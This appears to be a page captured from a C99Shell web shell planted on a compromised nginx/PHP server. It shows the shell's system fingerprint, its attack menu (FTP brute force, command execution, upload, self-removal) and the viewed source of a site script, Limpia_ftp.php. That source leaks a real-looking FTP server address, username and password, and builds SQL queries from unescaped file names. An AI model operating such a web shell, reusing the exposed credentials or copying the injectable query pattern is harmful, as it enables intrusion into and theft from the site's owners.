!C99Shell v. 2.0 [PHP 7 Update] [25.02.2019]!

Software: nginx/1.23.4. PHP/5.6.40-65+ubuntu20.04.1+deb.sury.org+1 

uname -a: Linux foro-restaurado-2 5.15.0-1040-oracle #46-Ubuntu SMP Fri Jul 14 21:47:21 UTC 2023
aarch64
 

uid=33(www-data) gid=33(www-data) groups=33(www-data) 

Safe-mode: OFF (not secure)

/usr/share/nginx/html/automatas/   drwxrwxrwx
Free 83.36 GB of 96.73 GB (86.19%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     Limpia_ftp.php (1.56 KB)      -rw-rw-r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php
require "../frames/class.ftp.php"
include 
"../frames/conn.php";
$borrar=true;

$ftp_server "62.193.202.9";        // add server name
$ftp_user_name "gp571133";    // add user name
$ftp_user_pass "j41ondtj";    // add password
$dst_dir "web/extras/fb2/";            // add destination directory ( www/upload/ )




//class constructor
$ftp = new ftp($ftp_server,$ftp_user_name,$ftp_user_pass,$dst_dir);
$ftp->ls();

echo 
"<table border=1>";
foreach (
$ftp->listadirectorio as $valor){
    
$contador=strrpos($valor,"/");  
    
$ccadena=trim(substr($valor,$contador+1));
    
    
$sql="select id from libros where ruta like '%$ccadena'";
    
$res=mysql_query($sql,$conn);
    
$row=mysql_fetch_array($res);
    if (
$row['id']>0){
    
//    echo "<TR><TD>".$ccadena."<TD BGCOLOR='#C0FFC0'>OK</TR>".chr(10);
    
}else{
        echo 
"<TR><TD>".$ccadena."<TD BGCOLOR='#FFC0C0'>ko</TR>".chr(10); 
        if (
$borrar==true){
            
$ftp->delete($ccadena);
        if (
$ftp->error){    
             
// a veces se quedan pillados los nombres en el directorio ftp, aunque el archivo ya no exista. 
        
$ignore=false;     
             
$arrayignore=array("Clive_El_Triangulo");
             
             foreach (
$arrayignore as $valor){
                  echo 
"----------------$valor------------------<br>";
                  if (
strpos($ccadena,$valor1)>0){
                       echo 
"cadena $ccadena ignorada por programa<br>";
                       
$ignore=true;
                 }
                 }
                  
                  
             
    if (
$ignore=false){         
           echo 
"error <pre>" ;
   
print_r($ftp);
          
mysql_close($conn);
          die();
        }
             }
        }
            
            
            
            
            
            
            
        
        
        }
}
ECHO 
"</TABLE>";
echo 
"<pre>";
print_r($ftp->listadirectorio);


?>

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.0 [PHP 7 Update] [25.02.2019] maintained by HackingTool | HackingTool | Generation time: 0.0033 ]--